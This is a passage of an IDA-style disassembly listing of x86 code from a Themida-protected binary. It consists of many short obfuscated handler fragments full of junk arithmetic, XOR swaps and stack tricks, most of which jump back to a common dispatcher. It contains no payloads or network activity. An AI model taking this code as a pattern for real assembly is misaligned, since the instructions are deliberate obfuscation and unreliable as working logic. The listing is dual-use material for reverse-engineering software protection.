loc_58E5DD: ; CODE XREF: sub_584787+D3Bj
pop esp
jmp loc_58F8A0
; ---------------------------------------------------------------------------
loc_58E5E3: ; CODE XREF: sub_584787+1539j
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp+2Ch+var_2C]
xor [esp+2Ch+var_2C], ebx
xor ebx, [esp+2Ch+var_2C]
pop esp
sub esp, 4
mov [esp+2Ch+var_2C], ebx
mov ebx, 2
add edx, ebx
pop ebx
xor edx, [esp+0]
xor [esp+0], edx
xor edx, [esp+0]
pop esp
dec word ptr [esp+24h+var_26+2]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E621: ; CODE XREF: sub_584787+B3C2j
add esi, 8F1DA7A2h
mov eax, esi
mov esi, [esp+0]
add esp, 4
jmp loc_58E012
; ---------------------------------------------------------------------------
loc_58E634: ; CODE XREF: sub_59075E-C2D9j
add ebp, ebx
push eax
mov eax, 50E57CC4h
jmp loc_590476
; ---------------------------------------------------------------------------
loc_58E641: ; CODE XREF: sub_584787+A7ACj
mov edi, [esp+0]
add esp, 4
pop edx
and edi, 17D31DE2h
jmp loc_58ED7D
; ---------------------------------------------------------------------------
loc_58E656: ; CODE XREF: sub_584787+951Cj
pop esp
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_58E31A
; ---------------------------------------------------------------------------
loc_58E666: ; CODE XREF: sub_584787+3933j
xor ebx, 667699A7h
jmp loc_58C38A
; ---------------------------------------------------------------------------
loc_58E671: ; CODE XREF: sub_584787+59BBj
pop esp
push ecx
push ebx
mov bh, 9Eh
jmp loc_58F06E
; ---------------------------------------------------------------------------
loc_58E67B: ; DATA XREF: Themida_:005841C0o
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp+20h+var_20], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E68B: ; CODE XREF: sub_584787+8AF2j
mov ebx, 424640DBh
jmp loc_589D19
; ---------------------------------------------------------------------------
loc_58E695: ; CODE XREF: sub_584787+9DD4j
pop dx
push ecx
mov cl, 0B9h
add al, cl
jmp loc_588A3A
; ---------------------------------------------------------------------------
loc_58E6A1: ; CODE XREF: sub_584787+ABC2j
mov edx, 10h
and ebx, edx
push [esp+16h+var_18+2]
jmp loc_587BE7
; ---------------------------------------------------------------------------
loc_58E6B0: ; CODE XREF: sub_584787+25EDj
mov [esp+0], ebx
mov ebx, 0A15CE5h
jmp loc_58AE7C
; ---------------------------------------------------------------------------
loc_58E6BD: ; DATA XREF: Themida_:0058435Co
lodsb
xor al, bl
push edx
push ebx
push ecx
mov cl, 0F7h
jmp loc_58834D
; ---------------------------------------------------------------------------
loc_58E6CA: ; CODE XREF: sub_584787+3100j
pop esp
or ebp, 29B0F70h
jmp loc_589BAD
; ---------------------------------------------------------------------------
loc_58E6D6: ; CODE XREF: sub_584787+2013j
mov dh, 0AEh
sub cl, dh
pop dx
jmp loc_5881C9
; ---------------------------------------------------------------------------
loc_58E6E1: ; CODE XREF: sub_584787+B522j
add bl, dl
pop edx
dec bl
and bl, 0ADh
xor bl, 1Ah
add al, 0
jmp loc_58D76A
; ---------------------------------------------------------------------------
loc_58E6F3: ; CODE XREF: sub_584787+7024j
push esp
mov edi, [esp+1Ch+var_1C]
jmp loc_58569F
; ---------------------------------------------------------------------------
loc_58E6FC: ; CODE XREF: sub_584787+29F4j
add edx, 4
push esi
mov esi, 4
jmp loc_58FB23
; ---------------------------------------------------------------------------
loc_58E70D: ; CODE XREF: sub_584787+5CFDj
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+1Eh+var_20+2]
xor [esp+1Eh+var_20+2], esi
xor esi, [esp+1Eh+var_20+2]
jmp loc_58DD90
; ---------------------------------------------------------------------------
loc_58E726: ; CODE XREF: sub_584787+4BDBj
mov edi, [esp+0]
add esp, 4
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_58CCFF
; ---------------------------------------------------------------------------
loc_58E73F: ; CODE XREF: sub_584787+8C76j
pop edx
or eax, eax
jz loc_5882C2
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp+14h+var_14], esi
mov esi, 538B706Bh
xor [esp+14h+var_10], esi
pop esi
pop ecx
jmp loc_58F6DA
; ---------------------------------------------------------------------------
loc_58E761: ; CODE XREF: sub_584787+6743j
push ebx
mov ebx, 25FE00D1h
and ecx, ebx
pop ebx
sub ecx, 8DF8B1CCh
add eax, ecx
pop ecx
pop ebp
xor ebx, eax
movzx ax, byte ptr [eax]
push 2B09h
jmp loc_58FCDF
; ---------------------------------------------------------------------------
loc_58E784: ; CODE XREF: sub_584787+B747j
add edi, ecx
mov ecx, [esp+2Ah+var_2C+2]
add esp, 4
push esi
push edx
mov edx, 5EC62261h
jmp loc_58B04A
; ---------------------------------------------------------------------------
loc_58E798: ; CODE XREF: sub_584787+670Dj
mov [esp-0Ch+arg_8], ebx
push 6869h
jmp loc_58E99D
; ---------------------------------------------------------------------------
loc_58E7A5: ; DATA XREF: Themida_:005842C0o
mov ax, word ptr [esp-8+arg_4]
jmp loc_5863DD
; ---------------------------------------------------------------------------
loc_58E7AE: ; CODE XREF: sub_584787+B926j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E7B3: ; DATA XREF: Themida_:00584274o
sub esp, 4
push esp
jmp loc_5902CB
; ---------------------------------------------------------------------------
loc_58E7BF: ; CODE XREF: sub_584787+718Bj
push 2662h
mov [esp+0], ecx
jmp loc_587D25
; ---------------------------------------------------------------------------
loc_58E7CC: ; CODE XREF: sub_584787+50A3j
sub esi, 6BCFF26Ch
sub ebx, esi
pop esi
jmp loc_58CA56
; ---------------------------------------------------------------------------
loc_58E7DA: ; CODE XREF: sub_584787+4017j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E7DF: ; CODE XREF: sub_584787+7D5Bj
add esi, 124242D6h
sub esi, edi
push ebp
mov ebp, 1C6069C3h
sub ebp, 6DAA2AE9h
shl ebp, 5
and ebp, 20746534h
xor ebp, 120603D6h
sub esi, ebp
jmp loc_58CB8F
; ---------------------------------------------------------------------------
loc_58E809: ; CODE XREF: sub_584787+22B9j
xor ecx, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], ecx
xor ecx, [esp+2Ah+var_2C+2]
jmp loc_58AD0B
; ---------------------------------------------------------------------------
loc_58E817: ; CODE XREF: sub_584787+7575j
push edx
jmp loc_585CFE
; ---------------------------------------------------------------------------
loc_58E81D: ; CODE XREF: sub_584787+42F2j
push [esp+4Ch+var_4E+2]
jmp loc_584BD4
; ---------------------------------------------------------------------------
loc_58E825: ; CODE XREF: sub_584787+5E1Bj
not edi
neg edi
sub edi, 99AB0BEDh
sub ecx, 507708DAh
add ecx, edi
add ecx, 507708DAh
jmp loc_589BC3
; ---------------------------------------------------------------------------
loc_58E842: ; CODE XREF: sub_584787+B5Cj
push ax
mov ax, 2A49h
jmp loc_58F551
; ---------------------------------------------------------------------------
loc_58E84D: ; CODE XREF: sub_584787+AACDj
mov ah, ch
mov dl, ah
pop eax
jmp loc_584A45
; ---------------------------------------------------------------------------
loc_58E857: ; CODE XREF: sub_584787+4A1Dj
pop eax
jmp loc_58E48A
; ---------------------------------------------------------------------------
loc_58E85D: ; CODE XREF: sub_584787+501Dj
dec bh
or bh, 0D3h
add bh, 3Eh
add bh, 87h
xor al, bh
pop ebx
jmp loc_58C02A
; ---------------------------------------------------------------------------
loc_58E870: ; CODE XREF: sub_584787+6E84j
pop esp
mov [esp+8+var_8], edx
mov edx, esp
jmp loc_58EA95
; ---------------------------------------------------------------------------
loc_58E87B: ; CODE XREF: sub_584787+BC51j
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov ax, word ptr [esp+4+var_4]
jmp loc_5884F6
; ---------------------------------------------------------------------------
loc_58E89E: ; CODE XREF: sub_584787+5E80j
add ebx, 10012FBEh
sub ebx, 20B82844h
pop eax
xor ecx, ebx
pop ebx
shr ecx, 6
shl ecx, 7
xor ecx, 59B27684h
mov edi, ecx
pop ecx
and ecx, edi
push [esp-18h+arg_12+2]
pop edi
jmp loc_58D082
; ---------------------------------------------------------------------------
loc_58E8C8: ; CODE XREF: sub_584787+74E7j
mov esp, [esp+6+var_8+2]
shl [esp+6+var_8+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E8D4: ; CODE XREF: sub_584787+9C3Ej
push dword ptr [edi+24h]
push ebx
mov ebx, esp
jmp loc_58BFF7
; ---------------------------------------------------------------------------
loc_58E8DF: ; CODE XREF: sub_584787+946Aj
add ebx, edx
push edx
mov edx, 6DD47457h
sub ebx, 3E667197h
sub ebx, edx
add ebx, 3E667197h
jmp loc_58FE7F
; ---------------------------------------------------------------------------
loc_58E8FA: ; CODE XREF: sub_584787+8DB3j
and dl, al
pop eax
dec dl
sub dl, 0E8h
xor al, dl
mov edx, [esp+2Ah+var_2C+2]
push edi
mov edi, esp
jmp loc_5866C7
; ---------------------------------------------------------------------------
loc_58E90F: ; CODE XREF: sub_584787+5D66j
and al, 0CAh
xor al, 0
mov dh, al
push dword ptr [esp+0]
pop eax
jmp loc_585BD1
; ---------------------------------------------------------------------------
loc_58E91E: ; CODE XREF: sub_584787+6563j
mov eax, [esp+6+var_8+2]
sub esp, 4
mov [esp+0Ah+var_C+2], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0Ah+var_C+2]
pop esp
jmp loc_58F98E
; ---------------------------------------------------------------------------
loc_58E93D: ; DATA XREF: Themida_:005843F8o
mov ax, word ptr [esp+6+var_8+2]
push 45Fh
jmp loc_58682B
; ---------------------------------------------------------------------------
loc_58E94B: ; CODE XREF: sub_584787+1224j
push [esp-14h+arg_E+2]
mov ecx, [esp+0]
add esp, 4
jmp loc_58F284
; ---------------------------------------------------------------------------
loc_58E95C: ; CODE XREF: sub_584787+87D4j
push ecx
mov ecx, 4
jmp loc_584655
; ---------------------------------------------------------------------------
loc_58E967: ; CODE XREF: sub_584787+5C61j
sub esi, 0D030EF9h
dec esi
add esi, 0FD9A112Dh
mov ecx, esi
mov esi, [esp+0Ch+var_C]
jmp loc_58FA2C
; ---------------------------------------------------------------------------
loc_58E97E: ; CODE XREF: sub_584787+7D51j
push esi
jmp loc_588BD5
; ---------------------------------------------------------------------------
loc_58E984: ; CODE XREF: sub_584787+309Cj
push ecx
pop esi
jmp loc_58AB24
; ---------------------------------------------------------------------------
loc_58E98B: ; CODE XREF: sub_584787+8911j
add esp, 4
push ebx
mov ebx, 7CD75390h
dec ebx
jmp loc_585624
; ---------------------------------------------------------------------------
loc_58E99D: ; CODE XREF: sub_584787+A019j
mov [esp-8+arg_4], ebx
mov ebx, 39E93A00h
sub [esp-8+arg_8], 63E86009h
add [esp-8+arg_8], ebx
add [esp-8+arg_8], 63E86009h
pop ebx
pop edi
push ecx
jmp loc_588849
; ---------------------------------------------------------------------------
loc_58E9C1: ; CODE XREF: sub_584787+792Bj
sub al, cl
jmp loc_5906DD
; ---------------------------------------------------------------------------
loc_58E9C8: ; DATA XREF: Themida_:005843C8o
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp-18h+arg_12+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58E9D7: ; CODE XREF: sub_584787+6D02j
pop ecx
pop eax
jmp loc_58D248
; ---------------------------------------------------------------------------
loc_58E9DE: ; CODE XREF: sub_584787+77A5j
sub ecx, edi
pop edi
xchg ecx, [esp+2Ah+var_2C+2]
pop esp
mov [esp+26h+var_26], ecx
push esp
pop ecx
jmp loc_58CB7D
; ---------------------------------------------------------------------------
loc_58E9EF: ; CODE XREF: sub_584787+954Fj
mov ebx, [esp+20h+var_20]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58FC10
; ---------------------------------------------------------------------------
loc_58EA00: ; CODE XREF: sub_584787+8EFAj
push 1316h
mov [esp+8+var_8], ebp
push 420790Eh
pop ebp
jmp loc_586198
; ---------------------------------------------------------------------------
loc_58EA13: ; CODE XREF: sub_584787+90A0j
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
jmp loc_587A3E
; ---------------------------------------------------------------------------
loc_58EA24: ; CODE XREF: sub_584787+3EF5j
add esp, 4
jmp loc_588528
; ---------------------------------------------------------------------------
loc_58EA2F: ; CODE XREF: sub_584787+5FC7j
push edx
mov dh, al
mov cl, dh
pop edx
pop eax
sub bl, cl
mov ecx, [esp-4+arg_0]
add esp, 4
add bl, al
add bl, 0FEh
push edx
mov dl, 1Ch
shr dl, 5
sub dl, 6Eh
or dl, 55h
xor dl, 33h
xor dl, 0EDh
jmp loc_588841
; ---------------------------------------------------------------------------
loc_58EA5A: ; CODE XREF: sub_584787+3CE8j
pop ecx
pop ebx
mov eax, [esp+0]
add esp, 4
jmp loc_589533
; ---------------------------------------------------------------------------
loc_58EA67: ; CODE XREF: sub_584787+C8Cj
mov ecx, [esp+10h+var_10]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+14h+var_14]
jmp loc_58D8C5
; ---------------------------------------------------------------------------
loc_58EA7E: ; CODE XREF: sub_584787+112Aj
or ecx, 79505E5Bh
xor ecx, 3538154Ah
jmp loc_58A4CD
; ---------------------------------------------------------------------------
loc_58EA8F: ; CODE XREF: sub_584787+7CB5j
push ebp
jmp loc_5862F1
; ---------------------------------------------------------------------------
loc_58EA95: ; CODE XREF: sub_584787+A0EFj
push eax
mov eax, 12E67BF4h
shr eax, 5
shr eax, 7
jmp loc_58B8EE
; ---------------------------------------------------------------------------
loc_58EAA6: ; CODE XREF: sub_584787+A8FCj
push eax
mov eax, 67D439EBh
neg eax
and eax, 2136262Eh
xor eax, 0B8B3FD03h
xor ebx, eax
pop eax
jmp loc_588C5B
; ---------------------------------------------------------------------------
loc_58EAC0: ; CODE XREF: sub_584787+840Aj
add ecx, esi
push [esp+8+var_8]
mov esi, [esp+0Ch+var_C]
add esp, 4
push eax
jmp loc_5903D6
; ---------------------------------------------------------------------------
loc_58EAD4: ; CODE XREF: sub_584787+4813j
shr edx, 5
add edx, 4F52C4BBh
sub eax, edx
mov edx, [esp+52h+var_54+2]
jmp loc_58ABEC
; ---------------------------------------------------------------------------
loc_58EAE7: ; CODE XREF: sub_584787+DE3j
dec ebx
neg ebx
neg ebx
add ebx, 3B86D713h
add edi, ebx
pop ebx
add edi, eax
push ecx
mov ecx, 46735C52h
jmp loc_58F3AA
; ---------------------------------------------------------------------------
loc_58EB02: ; CODE XREF: sub_584787+60B5j
xchg ebp, [esp+5Ch+var_5C]
pop esp
and [edi+1Ch], eax
mov eax, [esp+58h+var_58]
jmp loc_589897
; ---------------------------------------------------------------------------
loc_58EB11: ; CODE XREF: sub_584787+4CBFj
; sub_584787+B961j
push 1B14h
jmp loc_5886A0
; ---------------------------------------------------------------------------
loc_58EB1B: ; CODE XREF: sub_584787+83E2j
mov edi, esi
pop esi
add ebx, edi
jmp loc_58A5D1
; ---------------------------------------------------------------------------
loc_58EB25: ; CODE XREF: sub_584787+3FEFj
add ecx, 10A7F746h
xor ecx, ebx
jmp loc_587054
; ---------------------------------------------------------------------------
loc_58EB32: ; CODE XREF: sub_584787+7A0Ej
push esp
mov edi, [esp+32h+var_34+2]
add esp, 4
jmp loc_58F0AC
; ---------------------------------------------------------------------------
loc_58EB41: ; CODE XREF: sub_584787+68F9j
mov esp, [esp-4+arg_0]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58EB49: ; CODE XREF: sub_584787+88A1j
neg ecx
jmp loc_58C9B2
; ---------------------------------------------------------------------------
loc_58EB50: ; CODE XREF: sub_584787+6CF1j
pop esp
mov [esp+16h+var_18+2], edi
mov edi, 5D35543Bh
sub edi, 0F72097BBh
add eax, edi
mov edi, [esp+16h+var_18+2]
add esp, 4
sub esp, 4
mov [esp+16h+var_18+2], ebx
push edi
jmp loc_588185
; ---------------------------------------------------------------------------
loc_58EB73: ; CODE XREF: sub_584787+624Fj
mov [esp+1Ch+var_1C], esp
add [esp+1Ch+var_1C], 4
pop ecx
push ebx
mov ebx, 30F64AEDh
add ebx, 17F82F44h
push ebx
jmp loc_58FB3E
; ---------------------------------------------------------------------------
loc_58EB90: ; CODE XREF: sub_584787+1445j
xor edx, 0B0D2DDE0h
sub eax, edx
pop edx
mov ebp, [esp+12h+var_14+2]
add esp, 4
sub eax, 3B8D0822h
sub eax, ebx
add eax, 3B8D0822h
add eax, 33E36CC7h
mov ebx, [esp+0Eh+var_10+2]
add esp, 4
push ebp
mov ebp, 522849A7h
add ebp, 0F2102EF3h
sub ebx, ebp
pop ebp
sub ebx, eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+0Eh+var_10+2]
mov esp, [esp+0Eh+var_10+2]
jmp loc_5850AB
; ---------------------------------------------------------------------------
loc_58EBE2: ; CODE XREF: sub_584787+226Fj
add esp, 4
jmp loc_58F8E5
; ---------------------------------------------------------------------------
loc_58EBED: ; CODE XREF: sub_584787+89FEj
add esp, 4
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 4
add edi, eax
pop eax
jmp loc_584F11
; ---------------------------------------------------------------------------
word_58EC0A dw 8B66h ; DATA XREF: Themida_:00584360o
dd 8953240Ch, 0B47BE9E3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_58EC16: ; CODE XREF: sub_584787-10Fj
push 24BCh
mov [esp-0Ch+arg_8], ebp
push 67D9h
push esp
pop [esp-4+arg_0]
jmp loc_586EE6
; ---------------------------------------------------------------------------
loc_58EC2C: ; CODE XREF: sub_584787+B159j
push ecx
jmp loc_58BC4D
; ---------------------------------------------------------------------------
loc_58EC32: ; CODE XREF: sub_584787+7E3Fj
push ebx
jmp loc_58E303
; ---------------------------------------------------------------------------
loc_58EC38: ; CODE XREF: sub_584787+6923j
pop esi
add ebx, ebp
push esi
mov esi, 10C115Bh
and esi, 54D77454h
xor esi, 5CE827BBh
or esi, 75087C10h
sub esi, 16910397h
jmp loc_58ED02
; ---------------------------------------------------------------------------
loc_58EC5E: ; CODE XREF: sub_5901FD+3Fj
mov edi, 627E519Bh
mov esi, edi
pop edi
inc esi
jmp loc_58DC71
; ---------------------------------------------------------------------------
loc_58EC6C: ; CODE XREF: sub_584787+393Bj
dec ebp
sub ebp, 0AC97223Bh
jmp loc_58ECB2
; ---------------------------------------------------------------------------
loc_58EC78: ; CODE XREF: sub_584787+AAC4j
add edi, 5887317Ah
push esi
mov esi, 40FB50E1h
push ebx
jmp loc_58DE62
; ---------------------------------------------------------------------------
loc_58EC8A: ; CODE XREF: sub_584787+7BEEj
dec esi
or esi, 189904CFh
dec esi
and esi, 3A4F6005h
sub esi, 3A4D6000h
mov ebp, esi
jmp loc_586C33
; ---------------------------------------------------------------------------
loc_58ECA5: ; CODE XREF: sub_584787+1CFAj
add [esp+1Ch+var_18], 3CEB3783h
jmp loc_588DEF
; ---------------------------------------------------------------------------
loc_58ECB2: ; CODE XREF: sub_584787+A4ECj
add edi, ebp
pop ebp
add edi, 4
xor edi, [esp+18h+var_18]
xor [esp+18h+var_18], edi
xor edi, [esp+18h+var_18]
pop esp
sub eax, 0B766D07h
push ecx
push edi
jmp loc_58773C
; ---------------------------------------------------------------------------
loc_58ECD1: ; CODE XREF: sub_584787+6C36j
mov [esp+0], eax
push ebx
mov ebx, 4F960C6Bh
mov eax, ebx
pop ebx
shr eax, 4
shr eax, 3
push ebp
mov ebp, 4C2249DAh
xor eax, ebp
mov ebp, [esp-0Ch+arg_8]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp-8+arg_4]
jmp loc_58CFBB
; ---------------------------------------------------------------------------
loc_58ED02: ; CODE XREF: sub_584787+A4D2j
sub ebx, esi
pop esi
pop ebp
jmp loc_58CFB2
; ---------------------------------------------------------------------------
loc_58ED0B: ; CODE XREF: sub_584787+43F3j
add edx, 4
jmp loc_58A105
; ---------------------------------------------------------------------------
loc_58ED16: ; CODE XREF: sub_584787+A8EBj
pop ebx
add bl, 4Ah
sub bl, ch
sub bl, 4Ah
pop ecx
jmp loc_58C0DB
; ---------------------------------------------------------------------------
loc_58ED25: ; CODE XREF: sub_584787+1AB1j
mov edi, 5B7E3363h
push ebp
mov ebp, 717A1441h
jmp loc_5853D4
; ---------------------------------------------------------------------------
loc_58ED35: ; CODE XREF: sub_584787+6FE6j
push esi
mov esi, 4
add ebx, esi
jmp loc_58DB4D
; ---------------------------------------------------------------------------
loc_58ED42: ; CODE XREF: sub_584787+A71j
xor ebp, esi
pop esi
mov ecx, 1A6319DEh
sub ecx, 988138Ch
jmp loc_5864C5
; ---------------------------------------------------------------------------
loc_58ED55: ; CODE XREF: sub_584787+857Dj
xchg eax, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], eax
jmp loc_5863EB
; ---------------------------------------------------------------------------
loc_58ED61: ; CODE XREF: sub_584787+2F16j
xchg eax, [esp+0]
pop ebx
and ebx, 9C24174h
jmp loc_5849C9
; ---------------------------------------------------------------------------
loc_58ED70: ; CODE XREF: sub_584787+7CA1j
push 4A64h
mov [esp+0Eh+var_10+2], ecx
jmp loc_5857CE
; ---------------------------------------------------------------------------
loc_58ED7D: ; CODE XREF: sub_584787+9ECAj
push ebx
jmp loc_58D8ED
; ---------------------------------------------------------------------------
loc_58ED83: ; CODE XREF: sub_584787+3A7Aj
add ebp, eax
jmp loc_588A48
; ---------------------------------------------------------------------------
loc_58ED8A: ; CODE XREF: sub_584787+386Fj
add edx, 1FF66179h
sub edx, ecx
sub edx, 1FF66179h
xchg edx, ecx
pop edx
sub esp, 4
mov [esp+18h+var_18], ebp
mov ebp, 4F6402D2h
push 45C2h
mov [esp+1Ch+var_1C], esi
push 1BC003CFh
pop esi
and ebp, esi
pop esi
push esi
mov esi, 3D50594Ah
sub esi, 4E895818h
neg esi
and esi, 1B305CE2h
xor esi, 5E580F2h
sub ebp, esi
pop esi
jmp loc_58CF4D
; ---------------------------------------------------------------------------
loc_58EDDC: ; DATA XREF: Themida_:0058436Co
push small word ptr [edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58EDE4: ; CODE XREF: sub_584787+1B65j
neg eax
push eax
not [esp+56h+var_58+2]
jmp loc_5891A9
; ---------------------------------------------------------------------------
loc_58EDEF: ; CODE XREF: sub_584787+94C0j
xchg eax, [esp-18h+arg_12+2]
pop esp
push edx
mov edx, 435D319Eh
xor edx, 56353A07h
sub eax, edx
pop edx
push 13D6h
mov [esp-18h+arg_12+2], ecx
push edx
push esi
jmp loc_59055E
; ---------------------------------------------------------------------------
loc_58EE11: ; CODE XREF: sub_584787+5BC8j
mov [esp+34h+var_34], eax
mov al, 28h
xor bl, al
jmp loc_58C5D2
; ---------------------------------------------------------------------------
loc_58EE1D: ; CODE XREF: sub_584787+1042j
add eax, 4
xchg eax, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
push esi
mov esi, esp
push edx
push esi
push ecx
mov ecx, 5C694C05h
jmp loc_58DD00
; ---------------------------------------------------------------------------
loc_58EE36: ; CODE XREF: sub_584787+8F7Ej
push ecx
mov ecx, esp
add ecx, 4
push esi
jmp loc_58FA55
; ---------------------------------------------------------------------------
loc_58EE45: ; CODE XREF: sub_584787+864Cj
push dword ptr [esp+4]
pop edi
pop [esp+4Ch+var_4E+2]
jmp loc_584C93
; ---------------------------------------------------------------------------
loc_58EE52: ; CODE XREF: sub_584787+4C61j
add ecx, 4
xchg ecx, [esp+16h+var_18+2]
jmp loc_585412
; ---------------------------------------------------------------------------
loc_58EE5D: ; CODE XREF: sub_584787+34Aj
push 38h
pop ebx
add ebx, edi
jmp loc_58A7D6
; ---------------------------------------------------------------------------
loc_58EE6A: ; CODE XREF: sub_584787+350Fj
push eax
mov eax, esp
jmp loc_58AC9D
; ---------------------------------------------------------------------------
loc_58EE72: ; DATA XREF: Themida_:005842F8o
mov ax, word ptr [esp+40h+var_42+2]
push ebp
mov ebp, esp
jmp loc_58BACB
; ---------------------------------------------------------------------------
loc_58EE7E: ; CODE XREF: sub_584787+6ACCj
pop ecx
mov eax, edx
pop edx
xor eax, 52A8494Eh
jmp loc_58C050
; ---------------------------------------------------------------------------
loc_58EE8C: ; CODE XREF: sub_584787+760j
pop edx
push ebx
push small 0F59h
mov word ptr [esp+12h+var_14+2], cx
mov cl, 5Bh
mov bh, cl
mov cx, word ptr [esp+12h+var_14+2]
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 2
add esi, edx
pop edx
push esi
push [esp+1Ah+var_18+2]
pop esi
pop [esp+1Ah+var_1C+2]
pop esp
sub al, 7
add al, bh
add al, 7
push [esp+12h+var_14+2]
pop ebx
push edi
mov edi, esp
add edi, 4
jmp loc_5891DF
; ---------------------------------------------------------------------------
loc_58EED2: ; CODE XREF: sub_584787+30ECj
mov esp, [esp+34h+var_34]
shr eax, 8
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
xchg edx, ebx
push eax
jmp loc_585B34
; ---------------------------------------------------------------------------
loc_58EEE8: ; CODE XREF: sub_584787+64F4j
mov [esp+0Eh+var_10+2], eax
push edx
mov edx, 2
mov eax, edx
pop edx
sub ebx, 147D1062h
add ebx, eax
add ebx, 147D1062h
pop eax
xchg ebx, [esp+0Ah+var_C+2]
jmp loc_58F91E
; ---------------------------------------------------------------------------
loc_58EF0B: ; CODE XREF: sub_584787+97ABj
push ecx
mov ecx, 59CE224Dh
or ecx, 398440C6h
add ecx, 0E507A02h
sub ecx, 75129284h
mov esi, ecx
jmp loc_589F4D
; ---------------------------------------------------------------------------
loc_58EF2A: ; CODE XREF: sub_584787+1659j
add ebp, edx
pop edx
jmp loc_58D2F7
; ---------------------------------------------------------------------------
loc_58EF32: ; CODE XREF: sub_584787+686Aj
push edx
jmp loc_58E641
; ---------------------------------------------------------------------------
loc_58EF38: ; CODE XREF: sub_584787+B484j
push ebp
mov ebp, 4C3C49E1h
add edx, 430604F7h
sub edx, ebp
sub esp, 4
mov [esp+3Ah+var_3C+2], edi
jmp loc_58D38C
; ---------------------------------------------------------------------------
loc_58EF54: ; CODE XREF: sub_584787+3F40j
inc ecx
add ecx, 0C1AB88ADh
and eax, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
or edx, eax
jmp loc_58C324
; ---------------------------------------------------------------------------
loc_58EF6A: ; CODE XREF: sub_584787+2C9Ej
push dword ptr [edi+eax*4]
push [esp+0Eh+var_10+2]
pop eax
push ecx
jmp loc_58F37A
; ---------------------------------------------------------------------------
loc_58EF77: ; CODE XREF: sub_584787+6713j
mov ebx, 2CBF2026h
push edx
mov edx, 311F3D21h
and ebx, edx
pop edx
xor ebx, 91D2CA8h
shr ebx, 6
sub ebx, 57B913ECh
or ebx, 7A6B0A42h
push esi
push 5984504Fh
pop esi
add ebx, esi
pop esi
add edi, ebx
pop ebx
jmp loc_58B718
; ---------------------------------------------------------------------------
loc_58EFAC: ; DATA XREF: Themida_:00584194o
mov cx, word ptr [esp-0Ch+arg_8]
jmp loc_58A147
; ---------------------------------------------------------------------------
loc_58EFB5: ; CODE XREF: sub_584787+5674j
add dh, al
mov eax, [esp+0]
jmp loc_58C47C
; ---------------------------------------------------------------------------
loc_58EFBF: ; CODE XREF: sub_584787+4F2Fj
xchg ecx, [esp+0Eh+var_10+2]
pop esp
push ecx
mov ecx, 4BC2665Bh
add [esp+0Eh+var_C+2], ecx
pop ecx
add [esp+0Ah+var_C+2], eax
sub [esp+0Ah+var_C+2], 4BC2665Bh
add [esp+0Ah+var_C+2], 750E25AFh
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58EFE4: ; CODE XREF: sub_584787+84F2j
pop ebp
jmp loc_58670F
; ---------------------------------------------------------------------------
loc_58EFEA: ; CODE XREF: sub_584787+2C3Aj
push ecx
mov ch, 61h
sub ch, 1Fh
jmp loc_58AC02
; ---------------------------------------------------------------------------
loc_58EFF5: ; CODE XREF: sub_584787+2469j
mov ebx, 36ED5C21h
mov ebp, ebx
pop ebx
push ebp
pop ecx
mov ebp, [esp+20h+var_20]
add esp, 4
add ebp, ecx
jmp loc_58F1FA
; ---------------------------------------------------------------------------
loc_58F00F: ; CODE XREF: sub_584787+BF8Bj
push eax
jmp loc_586A45
; ---------------------------------------------------------------------------
loc_58F015: ; CODE XREF: sub_584787+191Fj
add ebp, edx
pop edx
push edx
mov edx, 4
sub ebp, 35B12CC6h
sub ebp, edx
push ecx
jmp loc_58B46C
; ---------------------------------------------------------------------------
loc_58F02C: ; CODE XREF: sub_584787+20B9j
mov eax, [esp+18h+var_18]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_58CCD8
; ---------------------------------------------------------------------------
loc_58F03D: ; CODE XREF: sub_584787+9B00j
push ebp
mov ebp, ecx
jmp loc_588D2A
; ---------------------------------------------------------------------------
loc_58F045: ; CODE XREF: sub_584787+1F51j
mov ah, 0BCh
jmp loc_58B93C
; ---------------------------------------------------------------------------
loc_58F04C: ; CODE XREF: sub_584787+B11Fj
push edx
push esp
pop edx
jmp loc_58970A
; ---------------------------------------------------------------------------
loc_58F054: ; CODE XREF: sub_584787+3E0Dj
pop ecx
jmp loc_58567E
; ---------------------------------------------------------------------------
loc_58F05A: ; CODE XREF: sub_584787+7C7Bj
push edi
mov edi, 5B9A7FA2h
and edi, 40C8565Ch
inc edi
dec edi
push edx
jmp loc_590499
; ---------------------------------------------------------------------------
loc_58F06E: ; CODE XREF: sub_584787+9EEFj
mov ch, 0CDh
add ch, bh
jmp loc_58ED16
; ---------------------------------------------------------------------------
loc_58F077: ; CODE XREF: sub_584787+9139j
push ebx
mov ebx, 751063CAh
